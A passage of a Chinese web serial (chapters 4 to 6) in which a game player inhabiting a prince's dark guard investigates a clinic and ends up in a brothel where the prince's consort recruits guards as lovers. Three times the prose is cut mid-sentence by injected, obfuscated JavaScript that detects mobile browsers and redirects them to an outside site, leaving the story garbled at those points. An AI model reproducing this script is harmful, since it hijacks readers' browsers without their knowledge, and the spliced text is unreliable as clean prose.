然后他把纸条折起,收入怀中。 阿七在前头走出几步,回头看他。 “阿停?” 陆停抬脚跟上。 巷风灌进领口,凉得像井水。 陆停心想:这他妈是谁写给我的。 老相好吗。 这个副本我才进来几个时辰。 系统还没吭声,主线任务还没发布,世子还没找着,弟弟还没见影—— 春月楼。 听名字就不像什么正经地方。 他又走了几步。 忽然停下。 阿七再次回头,眼神里带了疑问。 陆停说:“没事。” 他重新迈步。 春月楼。 脂粉气。 簪花小楷。 他不想猜那是什么地方。 但他猜—— 今夜这个副本的第一条任务线,可能压根就不是找世子。 4. 第 4 章 出事的时候,世子和那位公子最后去的地方是城南的医馆。 这两人抱着猫进了医馆,就再没出来过,两人一猫,就此人间蒸发,不见踪影。 暗卫们察觉到不对之时,早已盘问搜查过这里,但一无所获。现在,这些猎犬们很不甘心,要重返旧地。 这城南的医馆藏在一片寻常巷陌里。 陆停跟着阿七落进树冠,惊讶地发现自己的动作很轻。他的脚尖点在枝干上,整个人轻得像一片夜雾,顺势滑入枝叶深处。 陆停低头看了看自己的手。 方才那一跃,他根本没想怎么发力——只是本能地屈膝、蹬地、提气,人就到了树上。落地时甚至有余力调整角度,让树冠的阴影恰好遮住身形。 这就是暗卫的肌肉记忆吗? 行。挺好。省得他现学轻功。 旁边,阿七在他斜上方的枝丫间蹲稳,目光穿过叶隙,落在那扇亮着灯的门上。 医馆不大。 一间门面,两扇木板门虚掩着,门缝里透出昏黄的油灯光。檐下挂着一块褪色的匾,字迹被烟火熏得模糊,只能认出最后一个“堂”字。门口,石阶上坐着一个人。 是个小女孩。 七八岁的年纪,梳着双丫髻,穿一身半旧的青布袄,膝盖上搁着只粗瓷碗。碗里是元宵,白胖胖浮在汤上,热气袅袅往上飘。 她低着头,用勺子舀起一只,吹了吹,送进嘴里。 黑芝麻馅。陆停隔着半条街都能闻见那股甜腻的香气。 四周的夜色里,藏着十七个人。 陆停能感觉到他们的存在——不是看见,是“知道”。左边槐树的树冠里,呼吸声压得极低。右边茶摊的棚顶,瓦片轻轻响了一下又停住。斜对面那堵矮墙的阴影深处,有人的佩剑叮当响了一下。 十七个人,十七道视线,全部落在那扇门和那个孩子身上。 小女孩终于吃完最后一只元宵。 她端起碗,把汤也喝干净,碗底朝天,一滴不剩。然后用袖子擦了擦嘴,站起身,把碗放在门槛内侧。 她忽然转过身,对着夜色行了一礼。 那礼行得很规矩:双手交叠,微微屈膝,垂首。看上去是正经学过礼数的好孩子。 “可是有人受了伤不敢来医?” 她的声音清脆,咬字清晰。 “没关系的。我家治病救人,不收高价。” 夜色沉默。 黑暗里这些暗卫都闭着嘴,依旧无声地待着。饶是身上还在痛,伤口没怎么处理,逸出难以遮掩的血腥,似乎也没人有心思来讨一帖药。 没有人动。 小女孩也很有意思,依旧站在那里,仰着脸,眼睛在黑暗里亮晶晶的。她没有害怕,没有退缩,只是等着。 半晌,巷子里有人走出来。 陆停看不清他的脸——太暗了,只能看见一个模糊的轮廓。那轮廓走得很慢,陆停注意到他的手一直垂在身侧,五指蜷着,随时能握成拳。 是先前挨了第一鞭的那个暗卫。 他从阴影里走进油灯光晕的边缘,在离小女孩几步远的地方站定。 小女孩仰头看他。 那暗卫没有说话。他垂着眼,视线从小孩头顶掠过,落在那扇虚掩的门上。然后他迈步,越过她,自顾自往门里走。 路过她身侧时,他甚至没有低头多看一眼。 木门被推开,又掩上。 阿七的声音从斜上方飘下来,压得极低:“这个人活不成了。” 陆停偏过头。 阿七的目光还钉在那扇门上,面罩边缘露出的一小截下巴绷得很紧。 “王府的暗卫,”阿七说,“不允许随便暴露自己。” 他又强调说: “更不允许活得像个人。” 也就是说,接受小女孩的善意,就算是活得像个人了?要是这样说,他也没看病啊,应该不算违规。 陆停没接话。 他转回头,继续看着那扇门。 油灯光从门缝里漏出来,一条细细的、昏黄的线,横在地上。屋里偶尔响起轻微的响动——像是桌椅被挪动,又像是木板被撬起。声音不大,闷闷的,隔着一层门板传出来。 好家伙,这次是真的进去翻了个底朝天,物理意义上的。 是怕里面有地窖或者暗道吗? 外面的小女孩还站在原地。 她保持着那个仰头的姿势,看着那扇门。那只碗不知什么时候被她抱在了怀里,她的十指扣着碗沿。 陆停忽然想,她今年几岁?七八岁。七八岁的孩子,半夜坐在医馆门口吃元宵,等着可能有、可能没有的病人上门。她爹娘呢?医馆的大夫呢?怎么只剩她一个人? 这时阿七说,医馆里的大夫,早就被王府里的人带走,怕是得先被讯问上几天。 至于怎么问,这点大家心照不宣,王爷肯定是要好好问上一问的。 也不知问完了,还能不能留上一条命。 要是能留上命,这都算是最好最好的结果了。 该庆幸他们留了一点良心,没把这么小的孩子也捉过去,留她在这里还能安安生生吃上一顿元宵。 此时陆停还看到了点别的东西—— 小女孩脚边有一小滩血迹。很淡,被夜风吹得半干,在青石板上洇成暗红色的印子。 不是她的血,是那个暗卫的。 他的鞭伤还没有好好处理。一路走过来,血从黑衣里渗出来,滴在地上,一步一滴。 他没有包扎,没有遮掩,似乎是毫无知觉的皮糙肉厚的某种动物。 屋里的响动忽地停了。 片刻后,门被推开。 那个暗卫走出来,步子还是那样慢,那样稳,但他的衣襟比进去时脏了,袖口沾着灰,靴面上有木屑。 他走到小女孩身侧,停步。 然后他偏过头,看了她一眼。 只是一眼。 这人从怀里摸出一锭银子,扔进她怀里。 那银子落在女孩攥着碗的手上,发出闷闷的一声响。她没有接,只是下意识动了动,让银子滚进碗底。 暗卫已经走远了。 他往巷子深处走,背影越来越淡,最终融入夜色。他走过的地方,青石板上留着几滴血,一串暗红色的点。 小女孩站在原地。 她低头看着碗里的银子,又抬起头,看着那条空荡荡的巷子。然后她低下头,看着地上那一串血迹。 她没有哭。 只是愣愣地站着,嘴唇微微张开,像想说什么却不知该说什么。 可能是想问问阿爹阿娘还能不能回来吧。可这些人也都是身不由己,谁能给她一句准话呢? 陆停正感慨着,头顶响起扑棱棱的声音。 不是乌鸦。是衣袂破空。 暗卫们在撤退。 陆停感觉到那些呼吸声一道一道远去,像退潮时被卷走的浪。没有人下令,没有人打手势,只是同时意识到:此处探查已毕,该走了。 他也起身。 脚尖在枝干上一点,整个人便腾空而起,跟着那些模糊的黑色轮廓往同一个方向掠去。 夜风被送进领口,凉得陆停激灵了一下。 他低头看了一眼——底下是成片的屋顶,黑压压铺开。 他忽然想,这副本也不差。 轻功不用学,还附赠一具能打能跳的身体。 陆停记得清楚,上次那个副本里,有个玩家的角色是瘫在轮椅上的好色老富豪,被花大钱的鬼护士推进海里,毫无反抗之力。 那玩家对着游轮上的外国玩家喊“help”,结果那些玩家惊愕地说:“哇,这个人开口的第一句居然不是how are you。” 陆停在一旁喷出一大口红酒。 不管怎样,这次副本里,陆停的情况好得多——他这样安慰着自己。 王府的轮廓渐渐在前方浮现。 陆停跟着前面的暗卫落进一处偏院,脚尖点地,卸力,收势——整套动作行云流水,他自己都没反应过来就已经站定了。 院子里又是站了十几个人,还好,那个大人没在,至少看样子是不用挨鞭子了。 没有人说话,一道破空声忽然由远及近。 有什么东西穿过夜色,直奔领头那人的面门。他没有躲,只是抬起手,两指一夹,便稳稳夹住那支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224139|197542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞镖。 飞镖上扎着一张纸条。 他展开,借着檐下灯看了一眼,然后翻转纸条,展示给院中所有人。 一个字。 “散”。 没有人多嘴。所有人同时抱拳,然后转身,往不同的方向散去。动作快而轻,片刻间院子里便空了大半。 陆停站在原地看着那些背影消失在黑暗中,忽然有一种奇怪的感觉。 这些人是人吗?还是工具? 阿七从他身侧走过。 陆停下意识开口:“你去哪儿?” 阿七停步。 他回过头,目光里有一丝茫然。那茫然只持续了一瞬,但陆停看见了。 “平时……”阿七说得很慢,像在努力回忆什么,“平时我们都有任务。贵人在哪里,我们就在哪里。” 他扯了扯面罩: “今夜让我们自行散去……我也不习惯。” 阿七想了想,又道:“我打算回家看看老娘,她看不见东西,需要我。” 老娘。还是看不见东西的老娘。 陆停脑子里浮现出那种画面——白发苍苍的老妇人,佝偻着背,坐在油灯下摸索着做针线,等着儿子回家,不禁心头一酸。 紧接着,陆停想起另一件事。 “春月楼在哪儿?” 这可不能忘,这是今夜的正经事。 结果阿七听见这个地名,愣了一下。 他的眼神变得很古怪——是一种难以言喻的复杂。他盯着陆停看了两秒,眼神里带着某种陆停读不懂的东西。 陆停被他看得不自在,下意识望天,心说完了,被误会了。我不是要去逛窑子,我是去查线索,有正经事的—— “那地方……”阿七开口了,声音压得很低,“是虎狼之地。” 他似乎下定了某种决心: “还是我陪着你去吧。” 陆停一愣。 “你不回家看老娘了?” 阿七的眼神更古怪了。 他沉默了片刻,然后道:“我老娘拿着我寄回去的钱,在春月楼入了股。” 他补上一句:“去春月楼,也算回家。” 这下轮到陆停无言以对。 他看着阿七那张蒙着面罩的脸,看着他眼底那种复杂到难以形容的神色,在心里思忖着。 瞎了眼的老娘。 入了股。 春月楼。 陆停脑子里闪过无数种场景,最后定格在某个画面里:一个双目失明的老妇人,坐在某家青楼的后院,面前摆着一架算盘,手指噼里啪啦地拨着。 便忍不住在心里说了一句:瞎了眼的老娘,眼睛莫不是被金子闪瞎的? 话说这个王府诶,也真的是恩威并用,用毒管人,也用钱收买人心。你看,阿七的娘都能入股春月楼了! 这会儿,阿七看出不对劲,看着陆停:“你这是什么表情?” 陆停连忙收回思绪,正色道:“没什么。走吧。” 两人一前一后翻出偏院的墙。 陆停跟在阿七身后,看着前面那个黑衣的背影在屋顶上轻盈起落。 他忽然想起那张纸条。 簪花小楷。脂粉气。春月楼。 给他写纸条那个人,是什么身份?为什么约他在那种地方见面? 陆停把这些念头压下去,专心跟着阿七的轨迹往前掠。 身后,王府的轮廓渐渐被夜色吞没。前方是成片的民居,偶尔有狗被惊动,叫两声又停住。再往前,灯火渐渐稠密起来,隐约能听见丝竹声飘过来。 阿七落在一处屋顶上,回头看他。 “到了。” 陆停跟着落下,顺着他的目光往前看。 一条巷子。 巷口挂着两盏红灯笼,灯上写着字。风一吹,灯笼轻轻转动,那字便从正面转到背面,又从背面转回来。 陆停眯着眼辨认了一会儿。 春。 月。 楼。 这就是春月楼所在之地。 这时候,蓦地,陆停又听到阵阵簌簌响声。 是熟悉的暗卫们于夜空中掠过,停下的动静。 5. 第 5 章 陆停跟着阿七走进春月楼大门的那一刻,满脑子想的还是刚才屋顶上那些簌簌的动静。 是暗卫。那衣袂破空的声音太熟悉了,今夜陆停听了太多次。 好家伙。陆停在心里默默算了一下:十七个暗卫,方才在医馆外蹲了十七个,这会儿春月楼里外又蹲了少说十个。 这帮兄弟拿了王府的俸禄,夜里散了值,都往这种地方钻。 一时间陆停心里涌起一股难言的情绪。 随后他跟着阿七迈过门槛。在被一个丫鬟迎面接住、引着往二楼走的时候,他忽然意识到一个严肃的问题: 他自己也在这儿。 看样子还是座上宾。 好像?更过分诶。 “这边请。”丫鬟的声音低而柔,垂着头,没有多看他们一眼。 陆停跟在她身后,穿过一楼的大堂。丝竹声从某个角落飘过来,混着若有若无的脂粉气。客人不多——元宵夜,该回家的都回家了,留下的要么是没家的,要么是不想回家的。 陆停低着头,余光扫过那些雕花的栏杆、垂落的纱幔、角落里燃着的熏香炉。 接着他们被引进了二楼的一间包房。 门在身后掩上。 丫鬟没有走。她站在门口,依然垂着眼,轻声说:“两位爷先换衣裳。好了唤我。” 陆停低头一看,榻上整整齐齐叠着两套衣服。 寻常服饰。靛蓝的袍子,灰褐的腰带,布鞋——扔进人群里找不出来的那种。 他偏头看阿七。 阿七已经背过身去,开始解腰带了。 “愣着干什么?”阿七头也不回,“这身打扮坐在这儿,是想告诉全楼咱们是宁王府的暗卫?” 陆停一想,也对,利索地伸手去解自己的衣襟。 动作很快,三两下把暗卫的劲装剥下来,换上那身靛蓝的袍子。布料粗硬,针脚也糙,但穿在身上莫名踏实——像回到了没进副本前的日子,穿着地摊上买的T恤在人堆里挤地铁。 阿七很快也换好了。 两人面对面站着,互相打量。他们摘了面罩,这才算是正儿八经的会面。 乍看上去,都是二十出头的青年人。一个眉眼锋利,一个轮廓清隽,扔进人群里不算扎眼,但也不算完全泯然。 但陆停注意到阿七的手。 阿七垂着手,手上布着老茧,指节微微凸起——那是常年握刀剑握出来的。 阿七也在看他。 “你也是。”阿七闷闷地说,“身上的杀气藏不住。” 陆停低头看看自己,心说我也没办法,这身体自带肌肉记忆,我还没学会怎么伪装。 门外这时响起轻轻的叩门声,是丫鬟端着托盘进来了。 两碗元宵。四碟热菜。一壶茶。 她把东西摆上桌,全程没有说话。摆好后,她退后一步,轻声道:“两位爷慢用。有事唤我。” 台词很标准机械,是被驯服的牛马一般。 她退出去,门再次掩上。 陆停和阿七对视一眼,都略略松了一口气。今夜的事儿太多,他们总算能休整一下。 两人同时坐下,同时拿起筷子,同时埋头开吃。 陆停已经记不清自己多久没吃东西了。他只知道饿是真饿,那碗元宵端到面前的时候,热气扑在脸上,他连烫都顾不上,一口咬下去—— 黑芝麻馅。和那个医馆小女孩吃的元宵的馅料是一个口味的。 甜的。烫的。 烫得陆停舌尖一麻,但他没停,呼哧呼哧嚼两下就咽了,第二勺又舀起来。 阿七比他好不到哪儿去。一碗元宵下去大半,筷子夹菜的速度快得离谱,嚼东西的时候腮帮子鼓得老高,像饿了几天的野狗。 两人埋头苦吃,一句话没有。 屋里只有碗筷碰撞的轻响,和偶尔被烫到的吸气声。 不过外面忽然响起一阵骚动。陆停听到这些,的筷子顿在半空。 那声音从一楼传上来——脚步声、呵斥声、拍门声,混在一起,由远及近。有人在挨个踹门,或者说,挨个拍门。拍得很大声,毫不客气。 “开门。” “这间查过了?” “没有,拍开看看。” 陆停偏头看阿七。 嗯,这是哪家正头娘子带着人来捉奸了? 如果是寻常人,大约会这么想。不过这个屋里,一个是训练有素的暗卫,一个是久经无限流副本的大佬,两人想的都更深一层。 只怕是有人专门搞出乱子,趁乱浑水摸鱼。 阿七嘴里还叼着半块糕点,咀嚼的动作停了,眼神瞬间变了——不是惊恐,是警惕。他放下筷子,手垂到身侧,指尖微用力。 陆停也默契地放下筷子。 拍门声越来越近。 隔壁的隔壁门被拍开,有人冲进去,片刻后骂骂咧咧退出来,“没有。” 然后是隔壁 然后是这一间。 门被猛地推开,猝不及防。 一个小厮打扮的人冲进来,身后跟着两个孔武有力的丫鬟。小厮二十出头,眉清目秀,但此刻满脸不耐烦,视线在屋里扫了一圈,稳稳当当落在陆停身上。 他盯着陆停看了两秒,接着就大步走过来,一把攥住陆停的手腕。 “你怎么还在这儿?” 陆停懵了。 “啊?” 小厮不答话,上上下下打量他——从脸看到脖子,从脖子看到肩膀,再从肩膀看到腰——然后视线定住了。 陆停顺着他的目光低头。 那身靛蓝的袍子穿得好好的,没什么问题。 但小厮看的不是袍子。 小厮看的,是那张被陆停方才暗暗揣进怀里、露出半截边角的纸条。 簪花小楷。脂粉气。春月楼。 小厮一把抽出那张纸条,抖开看了看,然后“嗤”地笑了一声。 “装什么傻?”他把纸条拍在陆停胸口,“事到临头,退缩也是不行的。快跟我们走,轮到你了。” 陆停:“……轮到我了?” 小厮没理他,挥了挥手,两个丫鬟上前,一左一右架住他的胳膊。 嚯,力气很大,居然根本挣脱不开。这个春月楼,还真是藏龙卧虎。 陆停忍不住回头去看阿七,想着对方应该不会坐视不理,却看到阿七坐在桌边,手里不知什么时候又拿起了筷子。 阿七看着陆停,甚至一拍大腿,脸上露出一种“果然如此”的表情。 “我刚才还猜兄弟你来这里是不是为了那件事,”阿七说,语气里带着明显的佩服,“果然如此。我敬佩你的胆识。” 陆停:“……你能不能讲清楚是哪件事?” 阿七没有讲清楚,这时两个孔武有力的丫鬟已经把陆停架出了门。 陆停被架着穿过走廊,一路上看见不少被拍开的房门。有人探出头来看热闹,被小厮一瞪又缩回去。有人站在走廊里抱着臂,一脸看好戏的表情。 陆停心说你们可别乱造我的谣啊,我来这里,只吃了一碗元宵! 无人听到陆停心里的哀嚎,他被架着往楼上走。 二楼。三楼。四楼。 春月楼的四楼比下面安静得多。走廊里铺着厚厚的地毯,踩上去没有声音。墙上挂着字画,角落里燃着熏香,空气里飘着一股幽冷的气息。 走廊两侧站着人,倒是热闹,全是男人。 便装。年轻的。二十出头到三十出头。有的靠着墙,有的低着头不知道在想什么。但陆停一看就知道——暗卫,全是暗卫。 那股气质藏不住。站姿、呼吸、眼神——太熟悉了。同事啊。 下班以后互道晚安,接着此处喜相逢? 他们看见陆停被架上来,目光齐刷刷转过来。 有人挑了挑眉。 有人轻轻“啧”了一声。 有人面无表情,但眼神里闪过一点什么。 陆停被架着穿过这些人,停在一扇门前。 门是雕花的,红木,厚重,门缝里透出暖黄的灯光。 小厮上前一步,轻轻叩了叩门。 “人带来了。” 里面传出一个声音。 女的。 带着笑。 “进来吧。” 门被推开。 两个丫鬟松了手,退后一步,垂着眼,不再看他。 陆停站在门口,深吸一口气,迈步走进去。 门在身后就此掩上。 屋里很大。一张榻,一张桌,一架琴。榻上铺着锦缎,桌上摆着酒壶酒杯,琴架在窗边,琴弦在烛光里泛着幽幽的光。 烛台很多。七八盏,错落摆着,把整个屋子照得有些暧昧。 窗前站着一个人。 是个女人。 穿一身胭脂红的衣裙,料子软得像水,垂坠下来,勾勒出纤细的腰身。长发披散着,只鬓边簪着一朵绢花。她背对着门,面对着窗,似乎在看着外面的夜色。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224140|197542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见门响,她转过身来。 陆停看见了她的脸。 很美。 是带着攻击性的美。眉峰略高,眼尾略挑,嘴唇薄而红,嘴角微微勾着,带着一点漫不经心的笑意。 她看着陆停,上下打量了一番 她缓缓走过来,步子很慢,裙摆拖在地上,发出轻微的窸窣声。她走到陆停面前,站定,仰头看他——她比陆停矮一些,但气势一点都不矮,竟还有些英气。 “就是你?” 陆停没接话,静观其变。 她笑了笑。蓦地,她伸出手,探进陆停的衣襟,灵活蜿蜒,带着脂粉的香甜。 陆停的瞳孔骤然收缩。 干什么?干什么?你干什么啊! 那手隔着薄薄一层布料,从他胸口一路往下滑,经过肋骨,经过腰侧,最后停在腹部。 手指按了按,又按了按。 不过这人的手探进去得快,收得也快,俏皮地笑着点了点头。 “不错。” 陆停脑子里警铃大作,一遍遍在心里喊着系统。 王八蛋的,系统依旧跟死了一样。 陆停站在那儿,浑身僵直,每一个细胞都在尖叫“快跑”。但他没有跑。副本练出来的本能告诉他:现在跑,死得更快。 他深吸一口气,强迫自己冷静下来。 面上仍然淡然。 甚至还能开口问一句:“你可满意?” 女人愣了一下,旋即笑起来。笑得前仰后合,笑得眼泪都快出来。 “有意思。”她擦着眼角,上上下下又打量了陆停一遍,“你比前面那些人识趣。” 前面那些人。 陆停捕捉到这个信息。嗯,说的是外面那些暗卫? 女人没有等他反应,自顾自走到桌边,斟了一杯酒,端起来抿了一口。 “有杀人的胆量,”她懒懒地道,“却没有和我这个王妃偷欢的胆量。你们啊,无聊。” 她斜着眼,目光从杯沿上方斜斜扫过来,妩媚极了。 “那还做什么狂徒呢?” 陆停宕机了。 他站在那儿,脑子里像有什么东西“嗡”的一声炸开,然后是一片空白。 王妃。偷欢。狂徒。 这三个词在他脑子里转了三四圈,才勉强拼凑出一个完整的含义。 他看着眼前这个女人——胭脂红的衣裙,漫不经心的笑,自称“王妃”。 王妃。 宁王的王妃。 也就是世子他娘? 不对,世子今年十八岁,这女人看着也就二十多岁—— 陆停把这些念头暂时压下去。 陆停看见王妃端着酒杯,笑盈盈地瞟着他,等着他反应。 陆停张了张嘴,说出一句话:“……狂徒?” 王妃挑了挑眉。 “怎么?”她放下酒杯,往榻上走去,懒懒地歪下来,一手支着下巴,“你不知道叫你们来做什么?不是你自己报名的吗?” 啊?报名?依着王妃你的意思,你还发过招聘广告?光明正大地发? 难怪,难怪之前阿七会一拍大腿,看样子他也收到过王妃诚招狂徒的信。 只是阿七没想到,陆停这个浓眉大眼的,竟然真的来应聘了。 王妃此时又笑了笑,说: “做狂徒,总比做破暗卫强。” 嗯,陆停这下彻底明白了。外面走廊里那些抱着臂站着的人,那些穿着便装、杀气藏不住的暗卫。 他们不是来逛窑子的,他们都是来应聘的,应聘“狂徒”。 陆停嘴角不禁抽了抽。 他原以为今夜有什么大事发生,世子失踪、毒药控人、暗卫集结、医馆探查——每一条线都透着阴谋的味道,每一条线都指向某个惊天秘密。 结果呢? 结果这会儿王妃在这儿搞boss直聘。 招聘岗位:狂徒。 招聘要求:有杀人的胆量,还得有偷欢的胆量。 招聘对象:宁王府全体暗卫。 陆停站在那儿,脑子里只有一个念头: 原主你在发什么疯啊啊啊? 你一个每月被毒药控着、随时可能没命的暗卫,不好好想着怎么找解药、怎么活命,跑这儿来应聘什么狂徒? 这个岗位死得更快好吗? 王妃看着他变幻莫测的表情,笑得更开心了。 “怎么?”她依旧歪着头,眼里带着促狭的光,“怕了?” 6. 第 6 章 陆停站在那儿,脑子里翻江倒海。 王妃那句“那还做什么狂徒呢”还在耳边转,他盯着眼前这张笑盈盈的脸,意识到一件事—— 这个女人不对劲。 她敢在春月楼明目张胆地召集暗卫,敢说“做狂徒总比做破暗卫强”,敢自称王妃,敢伸手摸男人的腹肌。她凭什么? 王爷会不知道今晚的事? 陆停迅速思索起来。 一个行事如此古怪、近乎疯狂的女人,必定是有恃无恐的。从她的一言一行可以看得出来,她平日里定是受了极大的压抑。 压抑到极致,才会用这种方式反弹。 而王爷…… 王爷那样的人,会真的坐视不管吗? 陆停心里掠过无数个念头,最后凝成一个结论:眼下这局面,不能顺着她疯,也不能硬顶。得先把自己摘出来。 于是陆停深吸一口气,开口。 “属下自然是怕的。” 他特意用了“属下”二字。 不动声色,拉开距离。先声明身份:我是暗卫,你是王妃,咱们之间该有上下之分。 对此,王妃挑了挑眉,没说话,脸上浮现出鄙夷之色。 看来,这个人和前面那些人没啥两样嘛。 可惜了,这么好的腹肌,这么百里挑一的脸…… 陆停可不知道她的心思,恭敬地继续道:“属下怕王妃这样做,伤了王爷的心。” 这句话一出口,他明显感觉到屋里的气氛顿了一下。 王妃脸上的笑意僵住了。不是那种被戳穿的僵,是那种……被什么东西击中的僵。她看着陆停,眼神里的玩味褪去,换上一种难以言喻的情绪。 然后她笑了。 不是刚才那种张扬的笑,是冷笑。 “伤心?”王妃反问道,“他伤什么心?” 她站起身,走到窗边,背对着陆停,声音从前方飘过来,带着一丝沙哑。 “他只爱我这张脸。” 说着,王妃抬起手,摸了摸自己的脸颊,兰花指翘得精巧刻意。 “只要我这张脸还在,他才不管别的。” 陆停沉默了一瞬。 他看着那个背影,只见胭脂红的衣裙在烛光里微微晃动。窗外夜色深沉,月光勾勒出她的轮廓,纤细,单薄,真真是我见犹怜。 他忽然想起阿七说的那句话:王府的暗卫,不允许活得像个人。 那王妃呢?王妃就活得像个人了吗? 陆停在心里叹了口气,果断转过身,伸手拉开房门。 身后传来王妃的声音,带着一丝错愕:“你要干什么?” 陆停没有回头,他迈步往外走。 是非之地,不宜久留。这是他十一个副本用血换来的经验。有些浑水能蹚,有些浑水不能。眼前这潭水太深,底下不知道藏着什么,先撤为妙。 他刚迈出一步,身后跟着响起急促的脚步声。 王妃冲上来,一把攥住他的手腕。 “你走什么?”她的声音带着一丝不易察觉的慌乱,还有玩闹,“话还没说完呢。” 又意有所指地道:“事情也没办完。” 啊?办什么?面试的时候先试做一次狂徒是吗?这么狂野的吗? 陆停低头看着那只攥着他手腕的手——细白,纤长,指甲染着蔻丹。那只手很用力,不像是女人常有的力气。 他不禁抬起头,看着王妃。 王妃也看着他。 两人就这么站在门口,一个往外走,一个往里拉,姿势不太雅观,像在拔河。 嗯,但愿别人觉得这就是拔河而已。 陆停正想说点什么,突然—— 他停下了,眼睛四处一瞄,属于暗卫的灵敏耳朵仔细听着。 楼里安静得不对劲。 先前那些丝竹声呢?那些猜拳行令的喧哗呢?那些丫鬟小厮的脚步声呢? 没了。全没了。 陆停侧耳细听。整座春月楼静得像一座空宅,连呼吸声都听不见。 他偏过头,又往走廊里看了一眼。走廊两侧,那些先前抱着臂站着看热闹的暗卫还在。他们一个个站在原地,姿势都没变,但目光齐刷刷地往楼下看去。 陆停顺着他们的目光往下看。 一楼的大堂空了。 先前那些三三两两的客人不见了,那些穿红着绿的丫鬟不见了,那个在角落里弹琵琶的乐师不见了。桌椅还在,酒菜还在,烛火还在晃,但人没了,只剩下满堂的空寂。 陆停的心往下沉了沉。 楼下响起“吱呀”一声,这是大门被推开的声音。 四个人抬着一顶矮轿,从门外缓缓进来。 那轿子很矮,离地不过三尺,四个人抬着,步子极稳。轿身是深褐色的,没有任何装饰,帘子垂着,看不清里面坐着什么人。 四个人把轿子稳稳放在大堂正中,然后垂手退开,站到一旁。 轿帘没动。 没有人下来。 整座楼里静得能听见烛花爆裂的声音。 轿帘从里面被掀开了。一只枯瘦的手探出来,扶着轿框。 紧接着,一个佝偻的身影从轿子里慢慢钻出来。 是个老人。很老。 老得看不出年纪。他佝偻着背,整个人缩成小小一团,像一截干枯的树枝。皮肤贴着骨头,皱得像陈年的树皮。他穿着一身暗色的袍子,袍子空荡荡地挂在身上,显得他更加瘦小。 他站在轿前,缓缓抬起头。 那张脸上,眼窝深陷,颧骨突出,嘴唇干裂。但他的眼睛—— 那双眼睛太亮了。 亮得不像一个老人该有的眼睛。那目光扫过大堂,扫过走廊,扫过四楼那些暗卫,最后落在陆停和王妃身上。 他开口了,声音从他喉咙里传出来,但奇怪的是,他的嘴巴几乎没有动。那声音像是从身体深处挤出来的,沙哑,低沉,带着一种难以掩盖的贵气。 与他腐败的外表格格不入。 “我到这里。”他说,故意拖长语调,“即王爷到这里。” 他的目光此时精准地定在王妃脸上。 “徐玥。” 他叫了她的名字,提示着: “你还不跪吗?” 走廊里霎时间呼啦啦跪下一片。 那些暗卫像被风吹倒的麦子,齐刷刷矮了半截。他们好像终于意识到了这是谁。 陆停还没反应过来,膝盖已经先于意识着了地——这具身体的肌肉记忆太强了,听到“王爷”二字,本能就让他跪了下去。 另外,听那人刚才的话,他应该并不是真正的王爷,只是替身…… 有意思,王爷并不到场,只派出自己手里的一具傀儡…… 陆停跪在四楼的走廊上,透过栏杆的缝隙往下看。 那个老人,或者说,王爷的化身,还站在原地,仰着头,看着王妃。 王妃很有勇气,根本没有跪。 她站在四楼门口,一只手还攥着旁边陆停的手腕。她看着楼下的老人,笑意盈盈: “我跪什么?” 她的声音轻飘飘的,带着笑。 “王爷最宠我,我干什么都行。” 她松开陆停的手腕,往前走了两步,站在栏杆边上,居高临下地看着楼下的老人。 “你看,我开了这春月楼,日日在这里做着头牌,给这么多男人弹琴唱曲,吟诗弄月……” 她顿了顿,笑得更加张扬。 “王爷不是喜欢得很吗?” 陆停跪在地上,听着这番话,心里只有一个念头: 姑娘,你这是在找死啊。 你是不是还想说,等你找了狂徒,王爷会更喜欢? 陆停等着王爷暴怒,等着王爷下令把她拖下去,等着血溅春月楼。 但王爷没有。 王爷的代言人——那位老人只是沉默了一瞬。 接着,他的语气变了。 变得温柔。柔得不像一个王爷该有的语气,柔得像在哄一个任性的孩子。 “玥玥。”他叫她的小名,“不要胡闹。” 他抬起那只枯瘦的手,招了招。 “我亲手煮了元宵,让人带了给你。” 陆停愣住了。 亲手煮的元宵?王爷?那个用毒药控制暗卫、动不动就让人挥鞭子的王爷? 他忍不住探着脑袋,往楼下看去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224141|197542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 老人还站在原地,仰着头,那张枯槁的脸上竟然浮现出一种……慈祥? 不对,不是慈祥。 是别的什么。 王妃则是站在栏杆边,看着楼下的老人,脸上的笑意慢慢褪去。 她开始下楼。 一步。两步。 她的步子很慢,裙摆拖在楼梯上,发出轻微的窸窣声。她走到一半,忽然停下来,扶着栏杆,声音从下方传上来,带着哽咽。 “你爱什么?” “你爱的是我和王妃长得一模一样的那张脸。” 她抬起手,又摸了摸自己的脸颊,兰花指还是翘得刻意精巧。 “我就是一幅画。” 她的声音开始发抖。 “一幅能解你相思之苦的画。” 她低下头,肩膀微微颤抖。 “我算什么?” 陆停跪在四楼,看得一愣一愣的。 